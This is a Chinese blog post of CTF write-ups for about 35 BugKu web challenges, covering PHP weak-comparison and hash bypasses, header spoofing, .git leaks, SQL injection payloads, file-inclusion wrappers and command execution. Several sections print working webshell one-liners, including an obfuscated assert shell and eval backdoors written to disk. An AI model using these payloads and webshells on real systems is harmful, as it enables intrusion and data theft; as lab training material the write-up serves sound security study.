Ngkcvs3's blog Ngkcvs3's blog
首页
  • 漏洞复现
  • JavaScript文章
  • VPS
  • web
  • AWD
  • CSS
  • Test
  • 技术文档
  • GitHub技巧
  • 《Git》学习笔记
  • 博客搭建
  • Nodejs
  • 友情链接
关于
收藏
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Ngkcvs3

Blog
首页
  • 漏洞复现
  • JavaScript文章
  • VPS
  • web
  • AWD
  • CSS
  • Test
  • 技术文档
  • GitHub技巧
  • 《Git》学习笔记
  • 博客搭建
  • Nodejs
  • 友情链接
关于
收藏
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • web

    • web&misc

    • unserialize
    • PHP正则表达式
    • php反序列化题目收集
    • BugKu-web
      • 1.滑稽
      • 2.计算器
      • 3.alert
      • 4.你必须让他停下
      • 5.头等舱
      • 6.GET
      • 7.POST
      • 8.source
      • 9.矛盾
      • 10.备份是个好习惯
      • 11.变量1
        • 其他:eval() 函数
      • 12.本地管理员
      • 13.game1
      • 14.源代码
      • 15.网站被黑
      • 16.bp
      • 17.好像需要密码
      • 18.shell
      • 19.eval
      • 20.需要管理员
      • 21.程序员本地网站
      • 22.你从哪里来
      • 23.前女友
      • 24.MD5
      • 25.各种绕过哟
      • 26.秋名山车神(1)
      • 27.速度要快
      • 28.filegetcontents
      • 29.成绩查询
      • 30.no select
      • 31.login2
      • 32.sql注入
      • 33.login1
      • 34.文件包含
      • 35.nevergiveup
    • 青少年CTF练习平台-web
    • 文件包含与php伪协议
    • ctfshow命令执行
  • AWD

  • CSS

  • Test

  • CTF
  • web
Ngkcvs6
2025-03-04
目录

BugKu-web

# BugKu-web

# 1.滑稽

简单题:打开后是空白页面,查看网页源代码就找到flag:

<!flag{b71f4e6eb376cf5db16605c6d28ed443}
1
image

# 2.计算器

打开页面是个输入验证码的页面,输入验证码没反应

image

查看网页源代码,code.js可能有东西,再打开这个页面,在页面中找到flag

image image

# 3.alert

页面也是空白的,查看源代码发现是写script标签内容,页面下方注释有一段 Unicode 编码内容,解码后得到flag

image image

# 4.你必须让他停下

image image

页面在不停地自动刷新,关掉网页js,让图片显示出来,在显示图片页面查看源代码

image

# 5.头等舱

页面只有个这

image

查看网页源代码,什么也没有;查看页面元素,在响应头找到flag

image

# 6.GET

image

根据题目要求传入what参数,直接出结果了

image

# 7.POST

image

同上题一样

# 8.source

源代码中有答案有一个

base64解码结果不对

image

网页目录扫描,发现有 /.git/ 路径

image

把 .git 下载下来,从下载内容中查找存在 flag 的文件,

下载命令:wget -r http://117.72.52.127:18761/.git

下载git目录后 使用命令查看历史flag记录

我们可以通过使用git reflog命令,就可查看到所有历史版本信息。由于查看所有历史版本信息的目的,大多是为了进行版本回退或恢复操作所使用,从中找到所需的commit索引,所以该命令被命名为reflog,即:引用日志。再使用 git show 命令查看每一个文件

image image

这个也不对,接着找下一个,第二个也不是!

@@ -1 +1 @@ -flag{nonono} +flag{hahahahahhahahahahnotflag}

接着找后面所有的,找到一个最像正确答案的

@@ -1 +1 @@ -flag{nonono} +flag{git_is_good_distributed_version_control_system}

# 9.矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
1
2
3
4
5
6
7

$num==1 是 弱类型比较

PHP中字符串与数字弱比较,会将字符串转换为数字,截至到非数字字符,如果第一个字符就是非数字则字符串为0。

例如:

“1” == 1

“1abc” == 1

"123ab" == 123

"a12" == 0

按照此原理题目可将 num 参数设置为 1后面加上任意字母

例如:?num=1aaaa

image

# 10.备份是个好习惯

打开页面时一串字母加数字的字符串,不像什么编码,查看源代码无果

image

根据题目标题可能有备份文件,扫描一下网站目录,找到个 index.php.bak

image
<?php
/**
 * Created by PhpStorm.
 * User: Norse
 * Date: 2017/8/6
 * Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
  1. strstr("abcd","c") : 查找 "c" 在 "abcd" 中是否存在,如果是,返回该字符串及后面剩余部分 cd

  2. substr("abcd",2) :从字符串的指定位置开始截取到最后一位, cd

  3. str_replace() : 把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":

    <?php
    echo str_replace("world","Peter","Hello world!");
    ?>
    输出:Hello Peter!
    
    1
    2
    3
    4
  4. parse_str() 函数把查询字符串解析到变量中。

    <?php
    parse_str("name=Peter&age=43");
    echo $name."<br>";
    echo $age;
    ?>
    输出:Peter     43
    
    1
    2
    3
    4
    5
    6
  5. MD5值比较相等(PHP弱类型):

    数组绕过 : eg:a[]=1&b[]=2

    科学计数法绕过:0e绕过

    240610708:0e462097431906509019562988736854
    240610708 0e462097431906509019562988736854 
    314282422 0e990995504821699494520356953734 
    571579406 0e972379832854295224118025748221
    QLTHNDT:0e405967825401955372549139051580
    QNKCDZO:0e830400451993494058024219903391
    TUFEPMC 0e839407194569345277863905212547 
    UTIPEZQ 0e382098788231234954670291303879
    PJNPDWY:0e291529052894702774557631701704
    s878926199a 0e545993274517709034328855841020 
    s155964671a 0e342768416822451524974117254469 
    s214587387a 0e848240448830537924465865611904 
    s214587387a 0e848240448830537924465865611904
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

代码解释:

<?php
 
include_once "flag.php";   //包含 flag.php 文件
ini_set("display_errors", 0);   //设置不返回错误信息
$str = strstr($_SERVER['REQUEST_URI'], '?');     //判断URL里是否有问号,返回?后包含?的所有内容给 $str
$str = substr($str,1);   //获取 ? 后面的值,不要 ?,问号后面只有参数了
$str = str_replace('key','',$str);   //将 $str 里面的 key 替换为空
parse_str($str);//解析字符串
echo md5($key1); //将 key1 的值进行 MD5 加密并输出
echo md5($key2); //将 key2 的值进行 MD5 加密并输出
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";      //如果 key1 和 key2 的值不相等,但是两个的 MD5 相等,就返回 flag
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14

由于MD5操作数组后全部为NULL,所以强弱类型比较的绕过都可用数组绕过

弱类型比较还可以用,科学计数法 0e 绕过

URL 地址要传入两个参数 ,例如: ?key1=QNKCDZO&key2=s214587387a

发现还是没反应

应该传入 :?kkeyey1=QNKCDZO&kekeyy2=s214587387a

使用双写绕过 str_replace() 函数,因为 str_replace() 会把字符串中的 key 替换为空,得到flag ,flag{61f39b75603f82ae120da511396cf16d}

image

解法二:

还可以使用数组绕过:?kkeyey1[]=aa&kkeyey2[]=sc

# 11.变量1

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13

题目分析:

两个主要的知识点: preg_match 和 可变变量

error_reporting(0); // 关闭php错误显示

include "flag1.php"; // 包含flag1.php文件代码

if(!preg_match("/^\w+$/",$args)){ // 匹配任意 [A-Za-z0-9_] 的字符,就是任意大小写字母和0到9以及下划线组成

/^表示开始,
\w表示任意一个字符,即[a-z][A-Z][0-9],
+将前面的字符匹配一次或多次,
$/结束。
后面的args变量是被匹配的。
1
2
3
4
5

只要运行 eval("var_dump($$args);");,flag很有可能就会出来$$arg

$$ 是可变变量,就是改变变量的名称的意思。

定义:一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

例如:

<?php
$a = 'hello';
$$a = 'world';//这样两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下两条语句会输出相同的结果:
echo "$a ${$a}";  //会输出 hello world,
echo "$a $hello"; //会输出 hello world,$hello就是$$a
?>
1
2
3
4
5
6

要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用 ${$a[1]},对第二种情况用 ${$a}[1]。

类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。对于 $bar 是数组单元时也是一样。

示例

<?php
class foo {
    var $bar = 'I am bar.';
    var $arr = array('I am A.', 'I am B.', 'I am C.');
    var $r   = 'I am r.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo $foo->$bar . "\n";			//输出 I am bar.
echo $foo->$baz[1] . "\n";		//输出 I am bar.

$start = 'b';
$end   = 'ar';
echo $foo->{$start . $end} . "\n";	//输出 I am bar.

$arr = 'arr';
echo $foo->$arr[1] . "\n";		//输出 I am r.
echo $foo->{$arr}[1] . "\n";	//输出 I am B.
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

在 PHP 的函数和类的方法中,超全局变量 (opens new window)不能用作可变变量。$this 变量也是一个特殊变量,不能被动态引用。

题目中 $$args 就是个可变变量, $args 的值是另一个变量的变量名 ,$$args就代表另一个变量

PHP有九大全局变量

$_POST [用于接收post提交的数据]
$_GET [用于获取url地址栏的参数数据]
$_FILES [用于文件就收的处理img 最常见]
$_COOKIE [用于获取与setCookie()中的name 值]
$_SESSION [用于存储session的值或获取session中的值]
$_REQUEST [具有get,post的功能,但比较慢]
SERVER[是预定义服务器变量的一种,所有SERVER[是预定义服务器变量的一种,所有_SERVER [是预定义服务器变量的一种,所有_SERVER开头的都
$GLOBALS [一个包含了全部变量的全局组合数组]
$_ENV [ 是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它]
1
2
3
4
5
6
7
8
9

一个一个试试,只有 $GLOBALS 可用

构造 ?args=GLOBALS

image

参考资料:

https://www.cnblogs.com/naihaizhuoxia/p/11180982.html (opens new window)

https://www.cnblogs.com/backlion/p/15693677.html (opens new window)

# 其他:eval() 函数

使用file_put_contents()、eval() 函数上传一句话木马,由于 双引号中变量会被解析为变量的值,而我们需要变量的名,所以需要加**反斜线 **\ 处理变量的值

file_put_contents('shell.php', '<?php @eval($_POST[123]);?>');
file_put_contents("shell.php", "<?php @eval(\$_POST[123]);?>");  //在双引号中变量会被解析为变量的值,所以加反引号绕过
file_put_contents("shell.php", base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWzEyM10pOz8+")); //将代码编码绕过
1
2
3

# 12.本地管理员

image

查看源代码

image 解码后得到 `test`,很可能是密码,试了一下不对,抓包查看请求,请求包为:
POST / HTTP/1.1
Host: 117.72.52.127:14080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://117.72.52.127:14080/
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

user=admin&pass=admin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

发包后页面没反应 ,想到题目为 本地管理员 ,我们修改 X-Forwarded-For 为 127.0.0.1

Client-IP:  127.0.0.1
Forwgrded-For-Ip: 127.0.0.1
Forwärded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP:127.0.0.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
image

返回结果变了,说明改 X-Forwarded-For 有作用,密码使用刚才的 test123 成功获得 flag{e2bb6bc7efddd6aa6fc3348cc19f887c}

# 13.game1

是个网页版小游戏

目录扫描一下,找到个 /src/index.js ,没有什么有用的

玩游戏,抓个包查看下找到个 /score.php 页面

image

image

sign参数可能是个 base64 ,解码后是个乱码。

在页面源代码中搜索 sign ,发现这个 sgin 是经过base64加密的

var ppp='8.8.8.8';
var sign = Base64.encode(score.toString());
xmlhttp.open("GET","score.php?score="+score+"&ip="+ppp+"&sign="+sign,true);
1
2
3

抓了多次包,发现这个base64码有规律,前两位总是 zM 开头,我们把他去掉

结果分别是 125== 、 25==、100==

GET /score.php?score=125&ip=8.8.8.8&sign=zMMTI1== HTTP/1.1
GET /score.php?score=25&ip=8.8.8.8&sign=zMMjU=== HTTP/1.1
GET /score.php?score=100&ip=8.8.8.8&sign=zMMTAw== HTTP/1.1
1
2
3

我们把score值设置大一些 例如:5000000 ,base64 就是 zMNTAwMDAwMD09,接着发包,flag出现了flag{4ba0b4991081b8dea546b05f11647ed0}

image

# 14.源代码

题目只有一个输入框和提交按钮,让查看源代码

image

unescape() 函数是要返回指定值的ASCII字符串。

按要求把 p1 解码和 %35%34%61%61%32+p2解码后字符串拼接

eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

处理后得到的解码内容为:

function checkSubmit(){
	var a=document.getElementById("password");
	if("undefined"!=typeof a){
		if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
			return!0;
		alert("Error");
		a.focus();
		return!1
	}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
1
2
3
4
5
6
7
8
9
10
11
将字符串:67d709b2b54aa2aa648cf6e87a7114f1输入输入框提交得到flag
1

image

# 15.网站被黑

image

老规矩,查看网页源代码,什么都没有

目录扫描一下,找到个 /shell.php ,直接访问,发现是个webshell大马

连接密码爆破一下,使用 big.txt 字典,得到了密码是 : hack

image

# 16.bp

题目提示

提  示: 弱密码top1000?z?????

描  述: 请找出密码

image

直接使用字典 top1000 爆破密码,根据提示密码首字母是可能是 z 开头,但是爆破响应长度都为908

接着看响应包

<script>
  var r = {code: 'bugku10000'}
  if(r.code == 'bugku10000'){
        console.log('e');
	document.getElementById('d').innerHTML = "Wrong account or password!";
  }else{
        console.log('0');
        window.location.href = 'success.php?code='+r.code;
  } 
</script>
1
2
3
4
5
6
7
8
9
10

设置响应包内容筛选,添加 {code: 'bugku10000'} ,没有出现登录失败特征码的即为登录成功的Payload ,

image

密码为 :zxc123

image

# 17.好像需要密码

image

直接爆破密码,密码为:12468

image

# 18.shell

描  述:

送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])

打开页面是个空白页面,描述中提示传参s

?s=system("whoami")       响应 www-data
?s=system("ls%20-al")	  flaga15808abee46a1d5.txt
?s=system("cat%20flaga15808abee46a1d5.txt")
1
2
3

image

# 19.eval

 <?php
    include "flag.php";
    $a = @$_REQUEST['hello'];
    eval( "var_dump($a);");
    show_source(__FILE__);
?> 
1
2
3
4
5
6

var_dump() 函数可以接受一个或多个参数,并将它们的信息打印到输出流中。

例如:

$variable = "Hello, World!"; var_dump($variable); // 输出: string(13) "Hello, World!"

传入phpinfo试试

image

接着查看用户:?hello=system(whoami) www-data

?hello=system('tac f*') flag{c5e0918f8ea72bc6a4e2140cd82de208}

image

?hello=eval($_POST['cmd']) 使用蚁剑连接

image

# 20.需要管理员

image

页面没什么有用信息,直接目录扫描,找到了个 robots.txt,访问 robots.txt,又找到个 resusl.php

User-agent: *
Disallow: /resusl.php
1
2

image

提示要管理员才能操作,尝试传入一个admin

结果出来了

image

# 21.程序员本地网站

页面显示:请从本地访问!

抓包修改 请求头 X-Forwarded-For: 127.0.0.1 获得结果

image

# 22.你从哪里来

页面显示:

are you from google?

此题可能是考察请求头访问的连接来源,直接在请求头添加

Referer: www.google.com

image

# 23.前女友

image

查看网页源代码,有个 code.txt

image

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
  • strcmp()函数 会对比字符串内容,如果一致返回 0,不一致返回 1

  • 传入数组的话,就会返回0,和正确校验一致,从而绕过。例如:

  • if (strcmp($username, $_POST['username']) == 0) {
            if (strcmp($password, $_POST['password']) == 0) {
          
    
    1
    2
    3

根据:($v1 != $v2 && md5($v1) == md5($v2))

v1和v2可以使用数组或者0e绕过,v3使用数组绕过

以下payload可以使用:

?v1[]=1&v2[]=2&v3[]=1
?v1=240610708&v2=314282422&v3[]=112
?v1=QNKCDZO&v2=240610708&v3[]=123
1
2
3

flag{51539bd0ddbbdcbdd2078651bb49d3af}

# 24.MD5

下载了个源码文件,内容如下

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52) {
        echo "flag{*****************}";
    } else {
        echo "false!!!";
    }
}
else{
    echo "please input a";
}
1
2
3
4
5
6
7
8
9
10
11
12
13

分析:

代码要求传入一个参数 a ,要求 a 的 MD5 值不能为 QNKCDZO ,且a的MD5和 QNKCDZO 的MD5值相等。就可以输出flag

可以使用 0e 绕过,找一个 0e 值 ,这里就取 314282422 为例

?a=314282422
1

还可以使用的很多:

s155964671a

571579406

PJNPDWY

......

image

# 25.各种绕过哟

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else
        print 'sorry!';
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

代码要求 uname 和 passwd 的值不同,但哈希值相同,很明显,可直接使用数组绕过

get ?id=margin&uname=1

post passwd[]=2

image

# 26.秋名山车神(1)

image

此题通过写脚本解

import requests
import re

request = requests.Session()
url = "http://117.72.52.127:13347/"
response = request.get(url)
n = re.findall("<div>(.*?)=", response.text)[0]
num = eval(n)
data = {"value": num}
response1 = request.post(url, data=data)
f = re.findall('flag{(.*?)}', response1.text)
flag = "flag{" + f[0] + "}"
print(flag)
1
2
3
4
5
6
7
8
9
10
11
12
13

代码分析:

# 导入所需的库:requests用于发送HTTP请求,re用于正则表达式匹配
import requests
import re

# 创建一个Session对象,用于保持跨请求的会话状态(如Cookies)
request = requests.Session()
# 定义目标URL地址
url = "http://117.72.52.127:13347/"
# 发送GET请求获取初始页面内容
response = request.get(url)
# 使用正则表达式从响应文本中提取<div>标签内的数学表达式(匹配到第一个等号前的所有内容)
# 示例:若页面显示<div>123+456=,则提取"123+456"
n = re.findall("<div>(.*?)=", response.text)[0]
# 使用eval()计算数学表达式的值(注意:实际生产环境中慎用eval,存在安全风险)
num = eval(n)
# 构造POST请求的表单数据,将计算结果作为value参数提交
data = {"value": num}
# 发送POST请求提交计算结果
response1 = request.post(url, data=data)
# 使用正则表达式从响应中提取flag内容(匹配flag{...}中的...部分)
f = re.findall('flag{(.*?)}', response1.text)
# 组合成完整flag格式并打印
flag = "flag{" + f[0] + "}"
print(flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

参考:

https://fishpi.cn/article/1647579118689?p=1&amp;amp;m=0 (opens new window)

# 27.速度要快

# 28.file_get_contents

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

extract(): 它的主要作用是将数组展开,键名作为变量名,元素值为变量值。可以很方便的提取$_POST或者$_GET的元素。

extract($_GET);

相当于:

$ac=$_GET['sc']

$fn=$_GET['fn']

trim() : 用于移除字符串两侧的空白字符或其他预定义字符。

file_get_contents()函数 绕过

绕过方式有:
php://input伪协议绕过:
	使 ?fn=php://input
	用post方法传入想要file_get_contents()函数返回的值
data://伪协议绕过:
	?fn=data://text/plain;base64	
	?fn=data:text/plain       //url编码
1
2
3
4
5
6
7

?ac=123as&fn=data:text/plain,123as

image

# 29.成绩查询

image

分别输入了 1,2,3显示不同的成绩列表。抓包查看

image

SQL注入,输入测试 payload

?id=1
?id=1 and 1=1#
?id=1 and 1=2#
?id=1' #
?id=1' and 1=1#
?id=1' and 1=2#
id=11' union select database(),2,3,4#	//skctf
id=11' union select user(),2,3,4#	//root@localhost
id=11' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4#     //fl4g,sc
id=11' union select (select group_concat(column_name) from information_schema.columns where table_name='fl4g'),2,3,4#                  //skctf_flag
id=11' union select 1,2,3,group_concat(skctf_flag) from skctf.fl4g#		//flag{e8d2544096569cf95da4ecb8121af05b}
1
2
3
4
5
6
7
8
9
10
11

image

# 30.no select

image

SQL注入漏洞。直接 sqlmap

python sqlmap.py -u "http://117.72.52.127:11766/?id=1" --dbs		#flag
1

万能密码: 1' or 1=1 #

image

# 31.login2

image

直接sqlmap扫描,发现什么都没有

image

image

登录抓包发现有个 tip

image

解码后:

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}
1
2
3

可以输入:用户名可以任意值,主要是使用 union 语句

  • 用户名:a' UNION SELECT 1,md5(666)#
  • 密码:666

$password 是我们输入的密码值

row['password'] 应该是查询出来的结果

image

出现另一个页面

image

输入各种命令,没有有用的回显

image

使用管道符 | 可以绕过,将命令执行的结果输出到文件中访问来绕过

image

image

写入木马文件

image

image

# 32.sql注入

image

题目提示基于布尔的SQL盲注,直接sqlmap跑一下,注不出来。

使用bp爆破密码,用户名是admin,密码爆破出来是 bugkuctf

image

# 33.login1

image

试了下没有用户弱口令

注册页面注册一个账号:admin /123456

admin加个空格,可以注册成功,设置的密码就会替换成管理员的,因为后端数据库会过自动删掉空格。

image

# 34.文件包含

image

点击后页面链接变成 http://117.72.52.127:15632/index.php?file=show.php

使用 php://filter 伪协议读取 show.php文件

?file=php://filter/convert.base64-encode/resource=show.php

image

读取 index.php

77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2NlZDJkZDdiYWU4MzZmZmZlZjI0YjM1Mjk0MWJkZjU2fQ0KPz4NCjwvaHRtbD4NCg==
1

解码后:

<html>
    <title>Bugku-web</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{ced2dd7bae836fffef24b352941bdf56}
?>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 35.never_give_up

查看网页元素和网页源代码,发现有个提示 1p.html

image

访问后发现会跳转到别的页面,为了能访问到 1p.html,可以把这个页面下载下来打开。查看页面内容

wget http://117.72.52.127:16492/1p.html

image

%3Cscript%3Ewindow.location.href%3D'http%3A%2F%2Fwww.bugku.com'%3B%3C%2Fscript%3E%20%0A%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E
1

将得到的字符串解码,得到源代码,先url解码后得到一段类似base64的编码,base64解码后又出现一段url编码,继续解码得到正确代码。

";if(!$_GET['id'])
{
	header('Location: hello.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
	echo 'no no no no no no no';
	return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
	$flag = "flag{***********}"
}
else
{
	print "never never never give up !!!";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

stripos($a,'.') 函数表示 $a 中不能有 '.'

看到 file_get_contents($a,'r') ,立马想到用 php://input 伪协议

表示 $data 中要有bugku is a nice plateform!字符串

看到 $id==0 是两个 =,立马想到是弱类型比较,可以令 id=0qw绕过

eregi(“111”.substr($b,0,1),“1114”) 表示将 111和 $b 提取的第一个字符拼接,和1114做比较,111与$b字符串被截取的第一位字符连结后形成的字符串能在1114中匹配到,即连结后的字符串可以是111也可以是1114

可以利用 %00截断 ,使substr截取$b字符串时被截断,从而形成eregi("111","1114"),匹配成功,同时%00不会对strlen截断,

又$b字符串长度大于5,可以在 %00 后跟任意字符凑够长度 5,可以构造为 $b=%0012345

其中 %00 算作一个长度为 1

​ image

编辑 (opens new window)
上次更新: 2025/06/08, 09:36:22
php反序列化题目收集
青少年CTF练习平台-web

← php反序列化题目收集 青少年CTF练习平台-web→

最近更新
01
test文件
11-07
02
CSS给table的tbody添加滚动条
11-07
03
网格布局中的动画
11-07
更多文章>
Theme by Vdoing | Copyright © 2019-2025 Ngkcvs3 | 89374048309748324003097832
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
欢迎来到
看板娘